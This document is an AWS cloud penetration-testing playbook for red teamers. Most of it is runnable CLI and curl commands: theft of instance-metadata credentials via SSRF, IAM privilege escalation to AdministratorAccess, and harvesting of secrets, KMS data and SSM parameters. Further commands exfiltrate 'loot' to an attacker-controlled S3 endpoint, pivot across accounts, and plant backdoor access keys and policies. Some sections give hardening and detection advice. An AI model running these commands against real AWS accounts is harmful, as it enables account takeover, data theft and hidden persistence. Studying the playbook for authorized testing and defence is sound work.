AWS

Amazon Web Services

AWS Cloud Pentesting Playbook

This playbook outlines foundational concepts of AWS architecture and provides technical guidance and attack strategies derived from practical labs and real-world exploitation scenarios. Each section includes purpose, context, exploitation techniques, AWS CLI commands, and mitigation strategies to guide red teamers, cloud security engineers, and blue teams.


1. AWS Foundations (for Red Teamers)

1.1 Control plane vs data plane

  • Control plane: where API calls are processed (IAM, EC2 start/stop, policy changes). Compromise ⇒ account takeover.

  • Data plane: where workloads/data live (EBS blocks, S3 objects, Lambda code). Compromise ⇒ data theft, service abuse.

1.2 Identities & credentials

  • IAM principals: users, roles, federated identities (SSO/OIDC/SAML).

  • Key types:

    • AKIA… → long-term access keys (avoid in prod).

    • ASIA…STS temporary creds (role sessions; preferred).

  • Session chain: caller → sts:AssumeRole → session in target account.

1.3 AWS CLI & profiles (quick mastery)

  • Prefer named profiles; don’t overwrite default.

  • Disable pager and pick JSON output; filter with JMESPath --query.

# Create an attacker lab profile
aws configure --profile attacker
aws configure set region us-east-1 --profile attacker
aws configure set output json --profile attacker

# Make CLI quiet & scriptable
aws configure set cli_pager "" --profile attacker     # or: export AWS_PAGER=""
aws --profile attacker sts get-caller-identity

# Use JMESPath for clean results
aws iam list-users --profile attacker \
  --query 'Users[].{Name:UserName,Created:CreateDate}' --output table

Extra tips (stdin/stdout to/from S3; account id from keys; using endpoint-url for attacker infra) are consolidated later in §13 (sourced from HackingThe.Cloud). hackingthe.cloud+2hackingthe.cloud+2


2. Red Team Methodology in AWS (end-to-end)

  1. Information gathering / enumeration → 2) Initial access

  2. Privilege escalation → 4) Post-exploitation & objectives

  3. Lateral movement (often cross-account) → 6) Persistence & cleanup Every section below includes high-value commands and short scenarios.


3. Information Gathering & Enumeration

3.1 Account & caller validation

aws --profile attacker sts get-caller-identity
aws --profile attacker sts get-access-key-info --access-key-id ASIAxxxxxxxxxxxx   # reveals owning account id (safe, logs to caller) 

(Why: confirm who you are, resolve unknown keys, and avoid noisy blind enumeration.) hackingthe.cloud

3.2 Identity (IAM) surface

aws iam get-user --profile attacker                         # if using IAM user creds
aws iam list-users --profile attacker
aws iam list-groups --profile attacker
aws iam list-roles --profile attacker
aws iam list-attached-user-policies --user-name dev-user --profile attacker
aws iam list-user-policies --user-name dev-user --profile attacker
aws iam get-user-policy --user-name dev-user --policy-name DevPolicy --profile attacker
aws iam list-policies --scope Local --only-attached --profile attacker
aws iam get-policy --policy-arn arn:aws:iam::<acct>:policy/<name> --profile attacker
aws iam get-policy-version --policy-arn arn:aws:iam::<acct>:policy/<name> \
  --version-id v5 --profile attacker

3.3 Compute, storage, serverless inventory

# EC2
aws ec2 describe-instances --profile attacker \
  --query 'Reservations[].Instances[].{Id:InstanceId,State:State.Name,Role:IamInstanceProfile.Arn}'

aws ec2 describe-security-groups --profile attacker
aws ec2 describe-volumes --profile attacker
aws ec2 describe-vpcs --profile attacker
aws ec2 describe-subnets --profile attacker
aws ec2 describe-route-tables --profile attacker

# S3
aws s3 ls --profile attacker
aws s3api list-buckets --query 'Buckets[].Name' --profile attacker
aws s3api get-bucket-policy --bucket my-bucket --profile attacker

# Lambda & API Gateway
aws lambda list-functions --profile attacker
aws lambda get-policy --function-name FnName --profile attacker
aws apigateway get-rest-apis --profile attacker
aws apigateway get-stages --rest-api-id <api-id> --profile attacker

# Databases
aws rds describe-db-instances --profile attacker
aws dynamodb list-tables --profile attacker

# Containers
aws ecr describe-repositories --profile attacker
aws eks list-clusters --profile attacker

# Secrets & systems mgmt
aws secretsmanager list-secrets --profile attacker
aws ssm describe-parameters --profile attacker

3.4 Logging, detection & posture

aws cloudtrail describe-trails --profile attacker
aws cloudtrail get-trail-status --name OrgTrail --profile attacker
aws logs describe-log-groups --profile attacker
aws configservice describe-configuration-recorders --profile attacker
aws inspector2 list-findings --profile attacker    # if enabled
aws securityhub get-findings --profile attacker

4. Initial Access

4.1 SSRF → IMDS (v1 & v2) credential theft

The target: http://169.254.169.254/latest/meta-data/ (IMDS).

4.1.1 Manual IMDS checks (from inside an instance)

# v1 enumeration (if allowed)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<RoleName>

# v2 flow (token + use)
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/<RoleName>

4.1.2 SSRF step-by-step (red team path)

  1. Discover SSRF param that fetches URLs (e.g., ?url=http://…).

  2. Probe IMDSv1 via SSRF: request …/iam/security-credentials/ → role name.

  3. Fetch creds: request role path → AccessKeyId, SecretAccessKey, Token.

  4. Load into CLI:

aws configure --profile attacker
# Paste Access key, Secret, and set region; then add session token:
aws configure set aws_session_token '…token…' --profile attacker

# Confirm who you are (critical OPSEC step)
aws sts get-caller-identity --profile attacker
  1. Enumerate safely with read-only calls (see §3). This mirrors the AWS portion of your CTF flow while redacting all specific names/values.

4.2 Leaked keys & public resource abuse (quick wins)

  • Search code repos for AKIA/ASIA patterns, validate with sts get-access-key-info.

  • Publicly accessible AWS resources (S3/ECR/Snapshots) can often be interacted with programmatically; see “Exploiting Public AWS Resources – CLI Attack Playbook” for a breadth of targets and tooling references (e.g., coldsnap for EBS snapshots). hackingthe.cloud


5. Privilege Escalation (IAM)

Common privesc patterns to test for once you have any foothold:

# 1) Create a new, more permissive policy version and set it default
#    Requires: iam:CreatePolicyVersion, iam:SetDefaultPolicyVersion
aws iam create-policy-version --policy-arn arn:aws:iam::<acct>:policy/Target \
  --policy-document file://admin.json --set-as-default --profile attacker

# 2) Pass a powerful role to a new EC2 you control (PassRole + RunInstances)
aws iam list-roles --query 'Roles[?contains(AssumeRolePolicyDocument, `ec2.amazonaws.com`)].RoleName' --profile attacker
aws ec2 run-instances --image-id ami-… --iam-instance-profile Name=AdminRole --profile attacker

# 3) Attach an admin policy to your principal
aws iam attach-user-policy --user-name me --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --profile attacker

# 4) Loosen a trust policy to assume a better role
aws iam update-assume-role-policy --role-name TargetRole --policy-document file://trust.json --profile attacker

6. Post-Exploitation Objectives

6.1 Data discovery & exfiltration

# S3 discovery & copy
aws s3 ls s3://org-bucket --profile attacker
aws s3 cp s3://org-bucket/backup.zip ./ --profile attacker

# Fast listings with JMESPath
aws s3api list-objects-v2 --bucket org-bucket --profile attacker \
  --query 'Contents[].{Key:Key,Size:Size}'

# Operator infrastructure for exfil (custom S3-compatible endpoint)
aws s3 ls --endpoint-url https://attacker.example --profile attacker
aws s3 sync ./loot s3://exfil --endpoint-url https://attacker.example --profile attacker

(The --endpoint-url trick is a known TTP used in the wild; see SCARLETEEL notes). hackingthe.cloud

6.2 Serverless & APIs

# Invoke Lambda directly (if allowed)
aws lambda invoke --function-name FnName out.json --profile attacker
cat out.json | jq .

# Walk API Gateway from Lambda policy hints → then call the API
aws lambda get-policy --function-name FnName --profile attacker \
  --query 'Policy' --output text | jq .
aws apigateway get-stages --rest-api-id <api-id> --profile attacker
curl https://<api-id>.execute-api.us-west-2.amazonaws.com/prod/resource

6.3 EC2 artifacts (user-data, instance profile, disks)

# Read user-data (sometimes contains secrets)
aws ec2 describe-instance-attribute --instance-id i-123 --attribute userData --profile attacker \
  --query 'UserData.Value' --output text | base64 -d

# Snapshot → mount → search
aws ec2 create-snapshot --volume-id vol-123 --description "forensics" --profile attacker

6.4 KMS, Secrets, SSM

# Attempt decrypt when you have permitted role
aws kms decrypt --ciphertext-blob fileb://blob.bin --key-id arn:aws:kms:... --profile attacker --query Plaintext --output text | base64 -d

# Secrets Manager
aws secretsmanager get-secret-value --secret-id prod/db --profile attacker

# Pull SSM parameters
aws ssm get-parameter --name /prod/app/dbpass --with-decryption --profile attacker

7. Lateral Movement

7.1 Cross-account pivots (role chains)

# Read trust policies: who can assume whom?
aws iam get-role --role-name Target --profile attacker \
  --query 'Role.AssumeRolePolicyDocument.Statement'
# Attempt assumption if your principal is trusted
aws sts assume-role --role-arn arn:aws:iam::123456789012:role/Target \
  --role-session-name pivot1 --profile attacker
# Export temporary creds as a new profile
aws configure set profile.pivot.aws_access_key_id     "$AWS_ACCESS_KEY_ID"
aws configure set profile.pivot.aws_secret_access_key "$AWS_SECRET_ACCESS_KEY"
aws configure set profile.pivot.aws_session_token     "$AWS_SESSION_TOKEN"
aws sts get-caller-identity --profile pivot

7.2 Service pivots (containers & clusters)

# ECR -> pull images (may contain secrets)
aws ecr get-login-password --profile attacker | docker login --username AWS --password-stdin <acct>.dkr.ecr.us-east-1.amazonaws.com
aws ecr list-images --repository-name app --profile attacker
aws ecr batch-get-image --repository-name app --image-ids imageTag=latest --profile attacker

# EKS -> get kubeconfig
aws eks update-kubeconfig --name prod --profile attacker
kubectl get pods -A

8. Persistence (ethical use in labs only)

# Create a backdoor access key (detectable)
aws iam create-access-key --user-name legit-user --profile attacker

# Attach a stealthier inline policy (detectable)
aws iam put-user-policy --user-name legit-user --policy-name SystemUpdate --policy-document file://least-priv.json --profile attacker

# Rogue OIDC IdP backdoor (advanced)
# (Create OIDC IdP, then update a role's trust policy to trust it)
# Reference technique overview:
#   - Deploy OIDC web server (attacker infra)
#   - Create IAM OIDC IdP
#   - Backdoor role trust to include this IdP

(Use of a rogue OIDC Identity Provider for persistence is documented in the wild; treat this as lab-only knowledge.) hackingthe.cloud


9. Detection, Hardening & OPSEC quick wins

9.1 Instance Metadata (IMDS)

  • Enforce IMDSv2 only, set hop limit to 1, and audit legacy v1.

  • Rollout guidance from AWS shows org-scale inventory and enforcement patterns. Amazon Web Services, Inc.

9.2 GuardDuty & CloudTrail hygiene

  • Keep CloudTrail multi-region, S3 log integrity (log file validation) on.

  • GuardDuty + Detective for anomaly investigation.

  • (Red team OPSEC: be aware that some CLI user-agents can be flagged; research shows ways to alter UA for testing. Use only in authorized labs.) hackingthe.cloud

9.3 SCPs & boundaries

  • Organization-level SCPs to restrict risky actions (iam:CreatePolicyVersion, iam:PassRole, kms:*), blast-radius control.

  • Permission boundaries for delegated admins.


10. Real-World-Style Scenarios (all specifics redacted)

The flows below are adapted from the AWS portion of the CTF write-up you shared, but scrubbed of any actual names/domains/keys. They demonstrate enumeration → exploitation → post-ex steps you’ll meet in practice.

10.1 SSRF → IMDSv1 → STS creds → S3 data

  1. Find SSRF param (e.g., ?url=).

  2. Request http://169.254.169.254/latest/meta-data/iam/security-credentials/ → get role.

  3. Request role path to obtain AccessKeyId/Secret/Token.

  4. Configure profile and verify identity:

aws configure --profile attacker
aws configure set aws_session_token 'REDACTED' --profile attacker
aws sts get-caller-identity --profile attacker
  1. Enumerate IAM and S3, then read a sensitive object:

aws iam list-roles --profile attacker
aws s3api list-objects-v2 --bucket company-prod --profile attacker
aws s3 cp s3://company-prod/prod-data.txt ./ --profile attacker

(Why this works & defenses: see §4.1 + IMDS references.) Amazon Web Services, Inc.+1

10.2 IAM graph Q&A exploration (groups, inline policies, role trust)

  • Use list-groups, list-group-policies, list-attached-group-policies, and get-policy* to answer “who can do what.”

  • Example (answering “which group has X user” & “what inline policy is on Y user”):

aws iam list-groups-for-user --user-name emp001 --profile attacker
aws iam list-user-policies --user-name emp001 --profile attacker
aws iam get-user-policy --user-name emp001 --policy-name s3-administrator-Policy --profile attacker

(This mirrors the investigative steps without revealing any challenge keys or domains.)

10.3 Role-pivot (assumable by devops-role)

  • Inspect trust on devops-role to find assumable roles, then sts:AssumeRole:

aws iam get-role --role-name devops-role --profile attacker \
  --query 'Role.AssumeRolePolicyDocument.Statement'
aws sts assume-role --role-arn arn:aws:iam::REDACTED:role/dev-role \
  --role-session-name pivot --profile attacker
aws sts get-caller-identity --profile attacker

(CTF asked a similar question about “which role can be assumed by X.”)


11. Service-by-Service Attack & Defend (condensed)

11.1 S3

  • Attacks: public buckets, mis-policies, website mode, object ACL confusion.

aws s3api get-bucket-acl --bucket site --profile attacker
aws s3api get-bucket-policy-status --bucket site --profile attacker
aws s3 cp s3://site/object - --profile attacker | strings | head
  • Mitigate: Block Public Access, SCP deny on s3:PutBucketPolicy outside pipeline, access logs.

11.2 EC2 & Networking

  • Attacks: IMDSv1, permissive SGs, user-data secrets, EBS forensics.

aws ec2 describe-instances --profile attacker \
  --query 'Reservations[].Instances[].IamInstanceProfile.Arn'
aws ec2 describe-instance-attribute --instance-id i-1 --attribute userData --profile attacker \
  --query 'UserData.Value' --output text | base64 -d
  • Mitigate: IMDSv2 only, SG least-privilege, encrypt & tag disks, SSM Session Manager instead of SSH.

11.3 Lambda & API Gateway

  • Attacks: over-permissive Lambda role, unauth’d API stages, leaky resource policies.

aws lambda get-policy --function-name Fn --profile attacker
aws apigateway get-stages --rest-api-id <api> --profile attacker
  • Mitigate: Auth (IAM/JWT), per-function KMS keys, env var secrets in Secrets Manager.

11.4 ECR/EKS

  • Attacks: pull private images, kubeconfig pivot to cluster.

aws ecr get-login-password --profile attacker | docker login --username AWS --password-stdin <acct>.dkr.ecr.us-east-1.amazonaws.com
aws eks update-kubeconfig --name prod --profile attacker
  • Mitigate: scoped repository policies, IR/scan images, IRSA for pods, network policies.

11.5 RDS/DynamoDB

  • Attacks: snapshot copy, overly-broad IAM reading tables.

aws rds describe-db-snapshots --profile attacker
aws dynamodb scan --table-name Customers --profile attacker --max-items 5
  • Mitigate: snapshot sharing controls, VPC-only, IAM condition keys (aws:SourceVpce).

11.6 Secrets/KMS/SSM

  • Attacks: decrypt via mis-scoped roles; harvest SSM params.

aws secretsmanager list-secrets --profile attacker
aws kms list-keys --profile attacker
  • Mitigate: resource-level grants, key separation, rotation, access analyzer.


12. Cloud Observability & Response (what to watch)

  • CloudTrail: look for iam:CreatePolicyVersion, iam:PassRole, sts:AssumeRole, secretsmanager:GetSecretValue, ssm:GetParameter.

  • GuardDuty: findings for UnauthorizedAccess:IAMUser/*, Stealth:IAMUser/PasswordPolicyChange, CredentialAccess patterns.

  • Config/Inspector/Security Hub: posture and finding aggregation; ensure they’re enabled and sending to a central account.


13. AWS CLI Power-User Notes (HackingThe.Cloud extracts)

These are field-tested tricks that speed up red team & blue team work alike:

# 13.1 Stream to/from S3 without temp files (use "-" for stdin/stdout)
cat ./payload.bin | aws s3 cp - s3://attacker-bkt/payload.bin --profile attacker
aws s3 cp s3://corp-logs/app.log - --profile attacker | head

# 13.2 Shape output fast (JMESPath)
aws ec2 describe-instances --profile attacker \
  --query 'Reservations[].Instances[].{Id:InstanceId,IP:PrivateIpAddress,Role:IamInstanceProfile.Arn}' --output table

# 13.3 No pager, predictable output
aws configure set cli_pager "" --profile attacker
aws configure set output json --profile attacker

# 13.4 Account ID from any access key (safe lookup)
aws sts get-access-key-info --access-key-id ASIAxxxxxxxxxxxx

# 13.5 EKS / Logs quickies
aws eks update-kubeconfig --name prod --profile attacker
aws logs tail /aws/lambda/FnName --follow --profile attacker

# 13.6 SSO (if you use it in corp)
aws sso login --profile corp

(From the HackingThe.Cloud “AWS CLI Tips & Tricks” and related enumeration articles.) hackingthe.cloud+1


14. Deep Dive: IMDSv1 vs IMDSv2 (don’t skip this)

IMDSv1

  • Stateless, unauthenticated GET interface. Any code able to issue HTTP GETs from the instance network namespace can read metadata, including temporary role credentials. This makes SSRF, header injection, or open proxy bugs especially dangerous.

  • If a workload exposes any path that can fetch arbitrary URLs (even without custom headers), it can often read IMDSv1. Datadog Security LabsTenable®

IMDSv2

  • Session-oriented: client must first PUT to obtain a token (X-aws-ec2-metadata-token), then include that token header for subsequent GETs. Tokens are TTL-bounded and tied to the calling process path + hop limit, reducing abuse by SSRF/proxies.

  • Many SSRF sinks can’t make PUT with custom headers, so v2 reduces exploitability substantially.

  • Migration guidance exists to discover where v1 is still on and to enforce v2 across fleets. Amazon Web Services, Inc.+1Engineering at Slack

Operator checklist

# Enforce v2 on new launches (example via CLI)
aws ec2 modify-instance-metadata-options --instance-id i-123 \
  --http-tokens required --http-endpoint enabled --http-put-response-hop-limit 1

15. Build-Your-Own Labs (safe practice)

  • SSRF/IMDS lab: a tiny Flask app with URL-fetch; deploy on a t3.micro with IMDSv1 enabled, then upgrade to v2 and retest.

  • IAM privesc lab: create a role that can CreatePolicyVersion but not PutUserPolicy; show escalation by version switch.

  • ECR/EKS lab: push an image with a fake secret, then prove repo policy + IR scanning; lock down and retest.


Appendix A — Quick Command Index (by phase)

A.1 Info-gathering

aws sts get-caller-identity
aws sts get-access-key-info --access-key-id ASIA...
aws iam list-users; aws iam list-roles; aws iam list-policies --scope Local --only-attached
aws ec2 describe-instances; aws s3api list-buckets; aws lambda list-functions
aws apigateway get-rest-apis; aws rds describe-db-instances
aws ecr describe-repositories; aws eks list-clusters
aws secretsmanager list-secrets; aws ssm describe-parameters
aws cloudtrail describe-trails; aws logs describe-log-groups

A.2 Exploitation & privesc

# IMDS (v1/v2) from instance
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/<Role>

# IAM privesc
aws iam create-policy-version --set-as-default --policy-arn arn:aws:iam::<acct>:policy/Target --policy-document file://admin.json
aws ec2 run-instances --image-id ami-... --iam-instance-profile Name=AdminRole
aws iam attach-user-policy --user-name me --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam update-assume-role-policy --role-name TargetRole --policy-document file://trust.json

A.3 Post-exploitation

aws s3 cp s3://bucket/key ./; aws s3 sync ./loot s3://exfil --endpoint-url https://attacker.example
aws lambda invoke --function-name Fn out.json
aws ec2 describe-instance-attribute --instance-id i-1 --attribute userData | jq -r '.UserData.Value' | base64 -d
aws secretsmanager get-secret-value --secret-id prod/db
aws kms decrypt --ciphertext-blob fileb://blob.bin --key-id arn:aws:kms:...

A.4 Lateral movement & persistence

aws iam get-role --role-name Target --query 'Role.AssumeRolePolicyDocument.Statement'
aws sts assume-role --role-arn arn:aws:iam::123456789012:role/Target --role-session-name pivot1
aws iam create-access-key --user-name legit-user
aws iam put-user-policy --user-name legit-user --policy-name SystemUpdate --policy-document file://least-priv.json

Last updated